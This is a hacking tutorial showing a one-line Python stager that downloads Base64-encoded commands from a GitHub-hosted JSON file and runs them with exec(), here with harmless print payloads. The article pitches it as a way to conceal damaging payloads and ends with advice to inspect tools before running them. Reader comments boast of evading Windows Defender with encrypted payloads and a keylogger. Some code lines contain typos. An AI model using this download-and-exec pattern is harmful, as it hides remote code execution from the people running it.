How To: Execute Hidden Python Commands in a One-Line Stager

Execute Hidden Python Commands in a One-Line Stager

A stager is a small piece of software that's typically used by malware to hide what's happening in the early stages of infection and to download a larger payload later.

We're going to explore how it works by creating a single line that downloads and runs potentially infinite lines of Python. An attacker could use this to hide a really suspicious, damaging payload in a way that a person who's just skimming through a new security tool might miss.

The way we're going to unpack this is by base-encoding our different commands in Base64 and then uploading it to a JSON object so we can pull it down, decode them, and run them one by one — all while keeping things within a single line of Python.

Install or Update Python 3

To follow along, you'll need Python 3 installed on your computer. Not sure if you have it? Type python3 --version into a terminal window to find out.

~$ python3 --version

Python 3.7.6

If you don't have the latest version of Python 3, do a sudo apt update and sudo apt install python3 in a terminal window.

~$ sudo apt update

[sudo] password for kali:
Hit:1 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
1015 packages can be upgraded. Run 'apt list --upgradable' to see them.

~$ sudo apt install python3

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  dkms libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libpython3.7-dev linux-headers-amd64 python3.7-dev
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
...
Processing triggers for desktop-file-utils (0.24-1) ...
Processing triggers for mime-support (3.64) ...
Processing triggers for libc-bin (2.29-9) ...
Processing triggers for systemd (244-3) ...
Processing triggers for man-db (2.9.0-2) ...
Processing triggers for kali-menu (2020.1.7) ...
Processing triggers for initramfs-tools (0.135+kali1) ...
update-initramfs: Generating /boot/initrd.img-5.4.0-kali3-amd64

Install PyCharm IDE (Optional)

To build our one-liner, we're going to be using PyCharm, a Python IDE (integrated development environment). You can use something else, but if you want PyCharm, you can pdownload and install it from its website. The free community edition is good enough for what we need, and it works on Windows, macOS, and Linux.

Working Through the Attack

Take a look at the one-liner code below, which tries to hide what it's doing. It's a good model for understanding the way that a basic stager might work. It looks pretty basic at first glance since all it seems like it's doing is requesting some data and executing what looks like a Base64-encoded string.

import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).decode('utf-8'))

If you know anything about programming, that code is pretty alarming because you have no idea what's in the string, and you have no idea what exactly it's going to do. It could be obfuscated even further so that the only thing you really see is just the Base64 string. You could hide a really long string of commands behind a single exec function to conceal what's actually going on.

What's the point of all this? What's the worst that can happen if you run the code?

Let's take a payload like the one below and run it in PyCharm.

print("The operaton was a success")
print("If you see this multi-line works")
print("Now just riding the train")

You can see it's just a couple print statements that do in fact work.

The operaton was a success
If you see this multi-line works
Now just riding the train

Now, let's go back to that one-liner and look at the raw form of the linked URL for the JSON file in a web browser to see what it looks like.

https://raw.githubusercontent.com/skickar/Research/master/twitter1.json

{
    "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=",
    "m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==",
    "m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}

If we view the JSON input, we can see that this is what the actual code looks like:

{
    "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}

It's all pretty confusing and doesn't really mean much to the average person if they see it. It's not a bunch of obvious commands, and they would have to decode each one to really see what was happening.

So if there were a bunch of innocuous commands in the JSON plus a couple of malicious ones, or if you were able to call the commands in a different order so you could basically build a malicious structure, then the game starts to change. That's because we don't know what order they are being called in. And you could do all sorts of other things to obfuscate the way the code is working.

These are all levels of deception that a stager might use to hide what its true intentions are. You don't want to just drop your best malware in right away and then have all your exploits out there so that if someone catches it, they know exactly how to defend against it.

Now, how do we get these Python commands to actually be the strings, and how do we get it to run correctly when we execute it?

If we take our one line of code from the stager and run it in Python, then we can see what happens. As you can see below, we hit a whole bunch of print statements and that's not really what we were expecting because it was pretty short. So there's a lot of text here that's coming out of commands, and we actually don't know what's going on besides these print statements. Aside from those, we could have a situation where other things are executing on the computer and all we see is something deceptive that's trying to trick us into thinking that everything's fine.

~$ python3

Python 3.8.2 (default, Apr  1 2020, 15:52:55)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

>>> import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).decode('utf-8'))

You should NEVER just let some random Python program Exec code on your system!?!?!
Are you fucking crazy???
But while you're here, how does this script work? Well, it's stupid, and great
What it does is request some JSON data from Github, which is loaded with base64 strings
This code takes that JSON object and decodes the base64 strings, which are actually Python commands
Then, it blindly executes them on your soft, vulnerable system, but beceuase the JSON keys are organized to add as many as you want, it's easy to add commands.

>>> quit()

Now, let's take a look at the Python script we ran in PyCharm, and we can see the print statements that will run.

print("The operaton was a success")
print("If you see this multi-line works")
print("Now just riding the train")

When run, we should get this:

The operaton was a success
If you see this multi-line works
Now just riding the train

If we want to encode it so that we can upload it in the JSON object, what we can do is run base64 with the filename we used to save it on our system (yours can be something else). That will encode the contents of the text file.

~$ base64 yourpythonfilehere.py

cMJpbnQoIlRoZSBvYXRpb24gd2FzIGEgc3VjY2VzcyIpCnByaW50KCJJZiB5b3Ugc2VlIHRoaXMsIG11bHRpLWxpbmUgd29ya3MiKQpwcmludCgiTm93IGp1c3QgcmlkaW5nIHRoZSB0cmFpbiIpCg==

If I were to exec it after decoding it, it'll go ahead and not only preserve the code that's there but line breaks too, so I can run multi-line code within one base64 object. That's one advantage because you can have one long object that looks like it's a single thing when in fact it might be a bunch of different lines of code all crammed into one.

This is great if we want to make it hard to analyze. In general, our process is going to be writing different payloads, converting them into a Base64 string, and dropping them into a data structure as we see here:

{
    "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo="
}

With each one of these messages, we have another different command that's being called.

Let's go back to PyCharm to see what happens when we try to analyze the code. Instead of executing the sketchy thing, we're going to just print it by changing "exec" to "print" in the line.

import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); print(base64.b64decode(data["m1]).decode('utf-8'))

Now, run it as a stager, and we can see the following:

for i in range (2,(len(data) + 1)): exec(base64.b64decode(data[m{}'.format(i)]).decode('utf-8'))

Process finished with exit code 8

What the code is doing is starting a loop. It starts at 2 and it runs all the way to the length of the data, so as many different messages that we put in our JSON object. It's designed to be flexible so that it actually makes sure that it includes every single message that is in the JSON object. We can make as many as we want and the code will find them and execute them one by one.

Now, this .format is making it so that each time we go through the loop, we use the current variable "i," which starts at, in this case, 2, and then runs all the way to the end of the length of data, plus one. I did this because I didn't actually start the "m" at zero. I should have started at zero to make it easier. Still, for a rough draft, it's a pretty good way of explaining how you can iterate through a bunch of messages using a m.format, or some other format, to use the "i" of the loop to jump through each of your messages. To make that really clear, we have m1, m2, and m3, and these are all keys in our JSON object.

The way that JSON works is that we have a key, then a colon, then a value. To access them, in Python anyway, we need to make sure that we're specifying first the key and then the value. We're specifying m1, which is going to be the key, and we're basically requesting the data inside of it as the value that we're substituting, so what we are doing is saying "hey, I want to put whatever part of the loop that's in m, to decode it and drop it right here, then execute it in this loop."

That is a way that we can unpack our Python code and run a loop that jumps through all the messages we've uploaded. I just used m1 as an example, but any numeric sequence will work just fine.

With this, we can go ahead and replace our "print" back to an "exec." Now, instead of seeing the first line of code, it's gone through and executed all the messages that we had in our JSON object.

For a beginner, this would be a pretty crazy thing to miss because a simple line like this, or even a further obfuscated line, that just execs and decodes a Base64 string wouldn't really be something they would want to jump in and try to decode because they might not understand how serious it is.

But for anyone with more experience coding than something that just looks like exec Base64 decode, and a long string, should give you a lot of alarm because, if that command is the rest of this, then you could be in a lot of trouble as it downloads and executes as many lines at once and does really whatever it wants on your system

Inspect New Tools for Suspicious Lines of Code

If you learn anything from this, it should be that you shouldn't just go ahead and download and run any new security tool without going through it first and paying specific attention to any lines of code that are executing things you don't understand.

The exec function in Python is incredibly powerful and very dangerous to run if you don't understand what it's doing. So anytime you see it in a line of code, make sure you know what's happening because it could run in our case potentially infinite lines of code without you knowing what they're doing.

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

Cover image by Retia/Null Byte

4 Comments

I have also executed payloads using eval.

Imagine if payload is AES encrypted

I've executed AES encrypted metasploit payloads and easily bypassed windows defender plus a little seasoning of cython is enough to execute my keylogger without even encrypting it.

Share Your Thoughts

  • Hot
  • Latest